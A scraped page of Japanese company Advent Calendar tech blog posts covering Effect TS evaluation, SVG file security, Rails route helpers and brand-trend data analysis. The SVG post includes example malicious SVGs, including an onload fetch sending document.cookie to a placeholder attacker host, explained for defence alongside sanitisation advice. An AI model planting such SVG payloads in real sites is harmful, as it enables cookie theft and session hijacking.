以上実装したものを組み合わせて、仕上げたものが以下となります。 // バリデーション const callAPI1 = retryWithRecovery( callAPI(API_1), renewToken, ( e ) => e. status === 401 , ( e ) => e. status === 401 , 3 , ); // 本文1 const callAPI2 = retryWithRecovery( callAPI(API_2), renewToken, ( e ) => e. status === 401 , () => true , 3 , ); // 本文2 const callAPI3 = retryWithRecovery( callAPI(API_3), renewToken, ( e ) => e. status === 401 , () => true , 3 , ); // 順番で処理を呼ぶ const callAPIs = callAPI1.pipe(Effect.andThen(callAPI2), Effect.andThen(callAPI3)); // 依存性注入 const mergedLayer = Layer.merge(FetchHttpClient.layer, AuthTokenLive); const program = callAPIs.pipe( Effect.provide(mergedLayer), Effect.catchAll(( error ) => Console . log ( `Main operation failed: ${ error.message } ` )), ); Effect.runPromise(program); 前準備はまあまあ複雑でしたが、関数型のライブラリのため、基本の部品を準備できたら、最終の組み合わせは結構楽です。関数型にまだ慣れていない方にも読みにくい部分があるかと思いますが、ある程度触れてましたら、読みやすく感じるかと思います。(私も関数式初心者ですが、すこし慣れてきています) あと、前述した通り、最後に実行されるほうの effect の型情報をお見せしたいと思います。 エラー処理、依存性注入前のeffect (最終effect直前) 前に説明した通りに、3つの処理で発生する可能性があるエラーと必要な依存関係を示しています。(今回はAPIErrorしか作成してなくて、それ一つになってますが) 最終的に実行されるeffect エラーを処理することで、 Error Type を なし( never ) に変えて、依存性を提供することで、 Dependencies を なし( never ) にしています 以上で、簡略化とはいえ、業務上に実際にあるちょっと複雑な処理をEffect TSで実装してみました。思ったより長くなりましたが、ここまでご覧になってくださって、ありがとうございます! 検討結果 実装の説明が長くなりましたが、導入の検討でしたので、検討の結果もちゃんと説明していきたいと思います。 メリット 型の安全性が非常に高い、エラーも型情報に入っていますので、常に扱っている変数の型がわかります。TypeScript もその情報でより的確なタイプチェックができます。 開発者の書き方にもよりますが、堅牢性が非常に高くて、開発段階で可能なシナリオをだいたい型情報から認知できます。 制御フローの可視化。従来の catch 、 throw パターンではなく、エラーを値として扱うことで、処理がすごく離れている catch block に飛ばされることを防いています。個人個人の好みにもよりますが、私はこちらのほうがやりやすいと思います。 デメリット 習得するのがすごく難しいです。関数式の特性が非常に強くて、ある程度関数式の経験がないと理解しにくいかと思います。その上に、依存性注入も結構組み込まれていますため、それに関しても、一定の知識が必要となります、プラグラミング初心者には向いていないかと思います。 アプリ全体がEffect TSで実装されていないとあまり意味がありません。当然のことなんですが、Effect TSが型の安全を保証しているのは Effect の中だけなので、Effect TS以外の処理が混ざっていますと、型安全が完全ではなくなります。 コードを堅牢的に書かせる フレームワーク なので、コードの堅牢性は高まりますが、開発のコストも比較的に高いかと思います。 結論 結論からいいますと、今のところ、Effect TSの導入はしないかと思います。個人的にはEffect TSのメンタルモデル、型の安全性などが非常に好んでいますが、上述の通りに、チームに導入するにはコストが大きすぎますため、難しいかと思います。チームメンバーが全員興味を持っていて、習得してくれることになっていても既存のアプリにそれを追加するのはコストが高くて、メリットが少ないです。なので、新規のコードベースがあって、チームメンバーがみんなEffect TSで開発したいと思わない限り、Effect TSの導入は難しいかと思います。 とはいえ、私はこの調査を通じて、Effect TSに更に興味を持つようになりましたので、個人開発、小規模の開発などに使っていきたいと考えております。皆さんもこの記事を読んで、興味を持つようになったら、ぜひEffect TSを使ってみてください! おわりに 10日の記事の担当は エンジニア の小松さんです。お楽しみに。 おまけ この記事に記載されているコードは私の GitHub にも上げていますので、興味がある方はぜひご覧になってください! Effect Sample Codeはこちら
アバター
こんにちは!Webアプリケーションエンジニアの レミー です! この記事は Enigmo Advent Calendar 2025 の7日目の記事です。 最近「Operation Hanoi Thief」という事件を読みました。 これは、 ベトナム のITエンジニアや採用担当者を狙った サイバー攻撃 についての内容で、怪しいファイルを送りつけて情報を盗む手口が紹介されていました。 その中で、一見ただの画像に見えるファイルでも、実は中に攻撃的なコードが入っている恐れがある、という点が気になったので、 SVG の中にある危険な仕組みを紹介します。 多くの人にとって、 SVG ファイルは「軽くて、拡大しても劣化しない便利な画像ファイル」という印象だと思います。 ロゴ、アイコン、バナーなど、Webでは定番の形式ですよね。 でも、実は SVG は「ただの画像」ではありません。 SVG はテキストベース( XML 形式)のファイルであり、その中にコードを埋め込むことができます。 この性質のせいで、本来は「画像ファイル」であるはずのファイルが、攻撃者が悪い目的として利用される恐れがあります。 SVG とは? PNG /JPGとの違い JPG、 PNG 、WEBP といった形式はバイナリデータの画像です。中にはロジックや スクリプト が入っていることはありません。 一方で SVG (Scalable Vector Graphics)はまったく別物です。 SVG は XML で書かれたテキストファイル なので、. svg をメモ帳や VS Code で開くと、中身をそのままテキストとして読むことができます。 例: <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <rect x="10" y="10" width="180" height="180" fill="blue"/> </svg> SVG ファイルの中に埋め込む危険なもの SVG の中には、見た目は「画像ファイル」なのに、実際にはかなり危険なコードを埋め込むことができます。 1. SVG 内部の JavaScript SVG には、普通の HTML と同じように <script> タグを埋め込むことができます。 <svg xmlns="http://www.w3.org/2000/svg"> <script> alert('こんにちは!'); </script> </svg> ブラウザの設定や表示方法によっては、この スクリプト が実行されます。 本番なら、攻撃者は alert(...) の代わりに、例えばこんなことができます。 ユーザーの情報を自分のサーバーへ送信する 悪意のあるサイトへ自動リダイレクトする SVG をアップロードできるWebサイトで XSS 攻撃を行う 2. onload / onclick などのイベント属性 <script> タグがなくても、イベント属性だけで十分に危険です。例えば次のような SVG です。 <svg xmlns="http://www.w3.org/2000/svg" onload="window.location.href='https://example-danger-site.com'"> </svg> この SVG をブラウザで開いただけで、ユーザーは自動的に悪意のサイトにリダイレクトされてしまいます。 そこがフィッシングサイトや マルウェア 配布サイトなら危険になります。 3. SVG アップロードを悪用した XSS 攻撃 ユーザーが SVG をアップロードできるサイト(アイコン、 アバター 、イラストなど)で、 サニタイズ せずにそのまま表示していると、攻撃者にとっては、 <script> や onload を含んだ SVG をアップロードし、その スクリプト はそのサイトのコンテキストで実行されます。 その結果、例えばこんなことが可能になります。 document.cookie を盗んでセッションを乗っ取る 管理者アカウントで操作する 例えば危険な SVG ファイル: <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://example-bad-site.com/log?c='+document.cookie)"> <text x="10" y="20">Hello world!</text> </svg> これが <img> ではなく、HTML内に inlineで <svg>...</svg> として埋め込まれ、ブラウザがブロックしない場合は、 document.cookie がそのまま攻撃者のサーバーに送信されてしまいます。 どんな SVG なら安全なのか? 例えば次のような、テキストだけで構成されている SVG は安全です。 <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <circle cx="100" cy="100" r="80" fill="green" /> <text x="60" y="105" font-size="20" fill="white">安全なSVG</text> </svg> どうしてかというと、以下のような要素や属性が含まれていないのです。 <script> タグ onload, onclick, onmouseover, onerror などのイベント属性 外部URLやリクエストを飛ばしているコード SVG から身を守るためのポイント 一般ユーザー向けの注意点 知らない人から送られてきた SVG ファイルを、すぐにブラウザで開かない。どうしても中身を確認したい場合は、まず テキストエディタ ( VS Code , Notepadなど)で開いてみて、以下のようなものがないか確認する。 <script> タグ onload, onclick, onmouseover, onerror などのイベント属性 外部URLやリクエストを飛ばしているコード Web開発者向けの対策 ユーザーによるアップロードされる SVG を、 サニタイズ する処理を行う <script> タグを削除する onload, onclick, onerror, onmouseover などのイベント属性を削除する 外部URLやリクエストを飛ばしているコードを削除する 信頼できない SVG を inlineで <svg>...</svg> として レンダリング しない。ユーザー由来の SVG はできるだけ <img src="/path/to/file.svg"> で外部ファイルとして扱うべき 適切な Content-Type や Content-Security-Policy ヘッダを設定し、 スクリプト 実行を抑制する まとめ: SVG は便利だけど「画像だから安全」とは限らない SVG 自体はとても便利なフォーマットです。 SVG 自体は危険ではありませんが、攻撃者の手に入ると危険なものになる恐れがあるため、使用中に注意する必要があります。 明日の記事の担当はフロントエンドエンジニアの張さんです。お楽しみに。
アバター
こんにちは! WEBアプリケーションエンジニア の小松です! 今まで主に ECサイト のWEBエンジニアをやっていて、本格的に Ruby On Rails の開発をするのは エニグモ に入社してからです。 この記事は[ Enigmo Advent Calendar 2025 ]の6日目の記事です。   はじめに:なぜ今、ルートヘルパーを振り返るのか ルートヘルパーとは?(なぜ必要なのか) ハードコード vs ヘルパー 基本的な仕様と使い分け 1. 基本形:resources から生成されるもの 2. _path と _url の違い 複雑なルートの解読(ここがつまずきポイント) ケース1:namespace (管理画面などでよく見る) ケース2:scope (URLだけ変えたい) まとめ:意思決定の軸を持つ 最後に はじめに:なぜ今、ルートヘルパーを振り返るのか Rails の開発において、 articles_path や new_admin_order_path といった「ルートヘルパー」は当たり前のように使われています。しかし、 後からプロジェクトに参画したエンジニアや、 Rails に慣れていない初学者にとって、これらは時に「読みにくい呪文」に見えることがあります。 私自身、規模の大きなプロジェクトに関わった際、大量に定義されたルート設定と、そこから生成される長いヘルパーメソッドを見て、「これ、結局どこのURLに飛ぶんだ?」と読み解くのに時間を取られた経験があります。小規模なアプリなら推測できても、複雑な namespace や scope が絡むと一気に難易度が上がります。 熟練の Rails エンジニアにとっては「常識」で片付けられがちな部分ですが、 「実はここでハマる人は多いのではないか?」「かつての自分のような人のための地図が必要だ」 と考え、この記事にまとめることにしました。 今回は、単なる仕様解説だけでなく、なぜこれを使うのかという背景も含めて、 Rails のルートヘルパーを徹底解説します。 ルートヘルパーとは?(なぜ必要なのか) Rails のルートヘルパーは、 config/routes.rb の設定に基づいて自動生成されるURL生成メソッドです。 ハードコード vs ヘルパー 初心者のうちは「直接 /articles/1 って書いたほうが直感的で早くない?」と思うかもしれません。しかし、プロジェクトが大きくなると、その考えは 「保守の悪夢」 に変わります。 直書き(ハードコード): /articles/1 ヘルパー: article_path(1) もし将来、URL設計が変わり /posts/1 に変更したくなった場合、直書きだと全てのファイルを検索して置換する必要があります。一方、ルートヘルパーを使っていれば、 routes.rb を一行書き換えるだけで、アプリ内の全リンクが自動的に新しいURLに対応します。 「可読性の一時的な低下」というコストを払ってでも、「将来の変更に強い(メンテナンス性)」というメリットを取る。 それがルートヘルパーを採用する理由です。 基本的な仕様と使い分け それでは、具体的な「解読方法」を見ていきましょう。 1. 基本形:resources から生成されるもの 最も基本となる形です。 Rails.application.routes.draw do resources :articles, only: [:index, :show] end この設定により、以下のメソッドが使えるようになります。 生成されるヘルパー 実際のURL 役割 articles_path /articles 一覧ページなど article_path(id) /articles/:id 詳細ページなど ここまでは推測しやすい範囲です。 2. _path と _url の違い ここも初心者が迷うポイントです。「どっちを使えばいいの?」という疑問に対する答えはシンプルです。 _path ヘルパー (例: articles_path ) 出力: /articles ( 相対パス ) 用途: サイト内のリンク( link_to など) 理由: ドメイン が変わっても影響を受けないため、基本はこちらを使います。 _url ヘルパー (例: articles_url ) 出力: https://example.com/articles ( 絶対パス ) 用途: リダイレクト、外部へのリンク、メール本文 理由: メールの中に 相対パス ( /articles )を書いてもリンクとして機能しないため、 ドメイン 付きのフルパスが必要です。 複雑なルートの解読(ここがつまずきポイント) 規模が大きいプロジェクトで可読性が下がる原因は、主に namespace や scope の存在です。ここを整理して理解しておくと、コードを読むスピードが格段に上がります。 ケース1:namespace (管理画面などでよく見る) Rails.application.routes.draw do namespace :admin do resources :orders end end namespace は「 ディレクト リ構成(コントローラー)」と「URL」の両方を分けたい時に使います。 ヘルパー: admin_orders_path URL: /admin/orders コントローラー: Admin::OrdersController ヘルパー名に admin_ という接頭辞( プレフィックス )がつきます。これが長くなると読みづらさの原因になりますが、「 admin 以下の機能だな」と一目で分かるメリットもあります。 ケース2:scope (URLだけ変えたい) 「URLは変えたいけど、コントローラーは既存のものを使いたい」という、少し特殊な要件で使われます。 Rails.application.routes.draw do scope "/dashboard" do resources :reports end end ヘルパー: reports_path ( dashboard がつかない! ) URL: /dashboard/reports コントローラー: ReportsController (そのまま) ここが混乱ポイントです。 scope の書き方によってはヘルパー名が変わらないため、「 reports_path って書いてあるのに、なぜか /dashboard に飛ぶぞ?」という現象が起きます。 (※ scope に as: オプションをつけることでヘルパー名を変えることも可能です) まとめ:意思決定の軸を持つ ルートヘルパーのメリット・デメリットを整理します。 メリット URL変更時の修正コストがほぼゼロになる。 _path と _url の使い分けで、内部・外部リンクを安全に生成できる。 デメリット namespace が深くなると、 admin_dashboard_statistics_monthly_reports_path のように非常に長い名前になり、一見して理解しづらくなる。 初見殺しになりやすい。 最後に 「 Rails に慣れている人には簡単でも、知らない人にとっては大きな壁になる」のがルートヘルパーです。 もしあなたがコードレビューや修正をする際、長いヘルパーメソッドに出会ったら、まずは routes.rb を確認し、 「それがどのコントローラーのどのアクションに紐付いているか」を確認する癖をつけてみてください。 その構造が見えてくれば、ルートヘルパーは「読みにくい呪文」から「安全に開発を進めるための強力な武器」に変わるはずです。   明日12/7の記事は レミー さんの「 SVG ファイルは本当に安全なのか?」です。
アバター
こんにちは、データアナリストの井原です。 この記事は Enigmo Advent Calendar 2025 の5日目の記事です。 この記事では手元で手に入るデータ(情報)が限定的でも、出来る範囲で分析を行ってみることは大事なのではないか?というテーマで書いていきます。 私は普段データアナリストとして、データからビジネスの意思決定を行うための示唆出しを主要業務に エニグモ で働いています。データアナリストというと、因果推論、統計、 Python 、AIなど、データを正しく解釈するために、論理的な思考や熟考が要求される、いわゆる左脳的と言われるような学びが多くなる傾向があると思います。そして、そういった左脳的なスキルは実際にデータアナリストにもっとも必要とされるスキルで間違いないと思います。 しかし、一方、ビジネスの現場でデータ分析を主務としていると、左脳的思考だけで十分か?という疑念がつねにつきまといます。なぜなら、ビジネスの現場で必要とされることは、厳密で正確なデータ分析ではなく、 ビジネス判断に役に立つ示唆を出すこと だからです。 もちろん、そのためには、厳密で正確なデータ分析も求められるところではあるのですが、統計や因果推論の学びを深めていくと、前提とする仮定を達成させることが難しく、完全無欠なデータ分析を行うことは難しいどころか、無理ではないかとさえ思えてきます。 直感やひらめきを重視する理論 ビジネスに必要なスキルは左脳的な論理的思考能力だけではなく、右脳的な直感やひらめきを活かす方法も大事なのではないか。そんなことをここ最近は強く感じながら、答えは出せず、本や資料で学ぼうとしてきました。 主題ではないので、かなり簡単ではありますが、いくつか個人的に参考にした理論を以下にご紹介します。※必ずしも左脳、右脳という切り分けが出来る理論ばかりではないですが、私が今回のテーマの参考となったと考えているものになります。 センスメイキング理論 *1 人が曖昧で不確実な状況に直面したとき、過去の経験や社会的文脈を手がかりに「物事に意味づけを行い、理解しようとするプロセス」を指す理論です。情報にストーリー性を持たせることで、人々の行動を可能にすると言われています。 二重過程理論 *2 人間の思考を直感的で無意識的な「システム1」 と、論理的で意識的な「システム2」の2つのプロセスで説明する理論です。状況によって思考の軸を使い分けることが大切とされています。 ブリコラージュ *3 「手元にあるものを組み合わせ、工夫しながら新しい意味や価値あるものを生み出す」思考・創造のプロセスで、既存の資源・経験・道具を柔軟につなぎ合わせて解決策をつくるアプローチです。計画的で目標思考である、従来の計画重視型エンジニアリングと対照的なアプローチとされることがあります。 これらの理論について、論じられている内容は異なるものですが、論理的思考や計画性を特に重視する社会において、それ以外の要素の重要性が示唆されているのではないかと思います。 *4 活用事例 とはいえ、これらの理論は抽象度も高く、業務の中で活用するには困難が伴います。 明確な答えはでない中でも、一つの仮説は「ありものでやってみて、発想してみることが大事」なのではないか?ということです。 意識的にやったことではないですが、後から振り返った時に無意識に学びを活かせていたのでは?と思われる事例がありますのでご紹介します。 経緯 BUYMA はファッション系ECの中でも、特に ハイブランド と言われるブランドに強みを持つ ECサイト です。比較的、他ECと比べても、単価が高いことが特徴です。 これは逆に言うと、世の中のトレンドと BUYMA の売れ筋が必ずしも一致していないということでもあり、世の中では売れているけれど BUYMA にはそもそも商品が少ない、というブランドがあります。社内でも感覚的にそのことは認識していても、どのようなブランドが世の中で人気があるのか?そのブランドに BUYMA の伸ばしどころがあるのか?といった点を具体的に分析したことはありませんでした。 分析にあたっての問題 そういった経緯で世の中のトレンドを何とか分析出来ないか?と軽く相談が来たのですが、分析にあたって大きな問題がありました。それは、当然ですが、 BUYMA 外部のトレンドを知るためのデータは基本的に手元にないという点です。 お金を使えば、データを買う、アンケートを取得するといった方法もあったかもしれませんが、温度感としてはそこまでではなく、何か出来ないかね?という感触でした。 分析の方針の決定 温度感や前後の文脈によっては、「出来ない」という結論も大事かもしれませんが、その時は「意義のある結論を出せるかは分からないが、自力で調べられる範囲で 定量 化することは出来るかもしれない」という前提をおいて、分析を進めてみることにしました。 具体的には、インターネットで検索して入手できる情報だけで 定量 化することを試みました。 データの収集と前処理 初めに、検索して入手できる情報の洗い出しを行いました。主に検索、他 ECサイト のランキング、 SNS 、ニュース記事、などが対象になりそうでした。この中で SNS とニュース記事に関しては、純粋なトレンドと広告的な記事を分割することが難しそうだったので、対象からは外しました。 また、検索結果については、LINEヤフー社の DS.INSIGHT を契約していますので、そこからの情報も活用することにしました。 この辺りは、データアナリスト一人で判断するのではなく、関係者とどういうデータが取れて、意味がありそうかをすり合わせながら詰めていきました。今回の手順に限らないですが、アウトプットする前にこういった認識をすり合わせていくことは、後々、期待に応えられるアウトプットを出せるかに直結するので重要なポイントです。 収集するデータを整理したら、その後は手作業でデータを集めていきました。泥臭い作業ではありますが、手作業でローデータを集めることで、分析者としても多少なり売れ筋の感覚を知ることができるメリットもあります。 手作業でデータを集めたら、次にデータを 定量 化する必要があります。今回集めたデータは、主に「他 ECサイト での最高ランク」「他 ECサイト でのランキング登場回数」「検索数」のデータでした。個別に見ていくと解釈が難しいので、データを標準化したうえで項目の加重平均を行い、1次元のデータにまとめました。 データ変換処理のイメージ(数字は仮のもの) 参考:標準化と加重平均について 標準化とは、「平均を0、分散、 標準偏差 が1になるようにデータを変換して、単位の異なる数値を比較出来るようにすること」で、加重平均とは「各指標に重みをつけて重みの高い指標のウェイトが大きく反映されるように平均値を出す方法」です。 例えば、今回のデータで言うと、「他 ECサイト での最高ランク」「他 ECサイト でのランキング登場回数」は、せいぜい1~100程度、「検索数」は数千~数万と規模感が異なります。項目それぞれで標準化を行うと、平均や分散が同じ数にまとまるので、同基準で数字の高低を比較できます。 また、加重平均は項目の信頼度に応じて変えるようにしています。例えば、「 ECサイト のランキング」は販売個数が分かるわけではないので低め、検索数はおおよそ正しい数字が分かるので高め、といったように設定しています。 標準化と加重平均のイメージ グラフへのプロット 標準化と加重平均を経て最終的に計算された数字を仮に「外部トレンド指標」と名付けます。 「外部トレンド指標」だけを見てもいいですが、内部のデータとも比較するため、今回は BUYMA の注文件数を横軸にとり、「外部トレンド指標」を縦軸にとった散布図を作成しました。アウトプットイメージを以下に掲載します。 アウトプットのイメージ ブログなので、実数と実際のブランド名は削除していますが、一つ一つの点がプロットされたブランドになります。右にあるほど BUYMA で売れているもの、上にあるほど世の中のトレンドが高いもの、という解釈ができます。 これにより、 BUYMA の強みと世の中のトレンドの差を直感的に確認できるようになります。 プロットした図を基に、関係者との議論を行いました。感覚としても大きなずれは生じていなさそうということで、これを基に BUYMA としてどういったブランドに注力していくべきか、といった議論に無事に繋がっていきました。 重要なポイント 事例紹介は以上になります。出来る範囲でやったにしては、あいまいに終わらず、関係者の反応もあり、営業戦略の一助になったものと思います。「右脳的」とは少し違うかもしれませんが、「収集できるデータの範囲でやってみるか」という、やってみようの発想がアウトプットに繋がる一例になったのではないかと思っています。 ただし、「適当なデータを使ってやってみる」とは似て非なるものであるところは注意が必要です。アウトプットの目的、データの妥当性などの検討は丁寧に行う必要があり、特にビジネス側のチェックは必須だと考えています。今回の分析も本当にそれが外部トレンドを表すものなのか?という点は突き詰めると議論の余地は残ると思います。しかし、どのようなデータを集めるのか?どのように集計するのか?など、分析の途中で確認を踏むことにより、ある程度妥当性のあるアウトプットに繋げられたのではないかと考えています。 まとめ やや大仰なタイトルをつけてしまいましたが、一番書きたかったことは、「データ分析もとりあえずやってみようの精神は大事なのではないか」ということです。 データ分析を学んでいくと、分析にあたって、厳密な仮定や条件を満たすことが出来ず、妥当性を判断することが難しいことがよくあります。そんな時も、(過程を適切に踏む必要はありますが)「ひとまず、出来ることとある程度の妥当性があればやってみる」「やってみてアウトプットを出すことで議論が進み、妥当性に対しての疑義が挟まれたとしても、そこから、適切な方向に方針転換する」といった手順で分析を進めていくことで、有用なアウトプットに繋げることができるのではないかと思っています。 前述したブリコラージュでは、アウトプットをした後の議論の重要性が語られることがあります。近年だとデザイン思考の発想に近いのかなと思うのですが、 「アウトプットする」→「議論する」→「修正する」というループを作り出すことは、データ分析のプロジェクトにおいても有用 な可能性があるのではないかと思いました。 本日の内容は以上になります。ご一読、ありがとうございました。 明日の記事の担当はエンジニアの小松さんです。お楽しみに。 株式会社 エニグモ すべての求人一覧 hrmos.co *1 : 参考: 【事例紹介】センスメイキング理論とは?「腹落ち」を最大活用してリーダーとして組織強化の極意を学ぼう | 株式会社ソフィア 優れたリーダーは未来を魅力的に語る 連載 入山章栄の『世界標準の経営理論』第8回 | 組織文化/組織開発|DIAMOND ハーバード・ビジネス・レビュー *2 : 参考: 2つの思考モード(システム1・システム2) | UX TIMES *3 : 参考: ブリコラージュで実現する、「対話」と「受動的な創造性」に満ちた組織──文化人類学の知を組織づくりに活かす方法 | CULTIBASE ピックアップ:組織の多様性を活かすための3つの手がかり | CULTIBASE *4 : センスメイキング理論や二重過程理論については、 世界標準の経営理論(入山章栄(著)) に記載があり、こちらもお勧めです
アバター